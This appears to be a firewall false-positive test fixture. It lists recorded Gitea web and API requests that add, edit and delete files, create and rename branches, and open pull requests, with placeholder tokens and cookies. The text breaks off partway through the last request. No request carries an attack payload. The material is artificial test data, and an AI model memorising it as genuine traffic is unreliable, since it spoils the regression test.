{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
|
||||||
|
# the Core Rule Set must let through while it reads bodies. They were recorded
|
||||||
|
# from a gitea driven by a headless Chrome, signed in, and by a script on the
|
||||||
|
# API. Each line is one request as JSON. Names, cookies and tokens are
|
||||||
|
# invented. The browser's User-Agent is an ordinary Chrome's.
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; 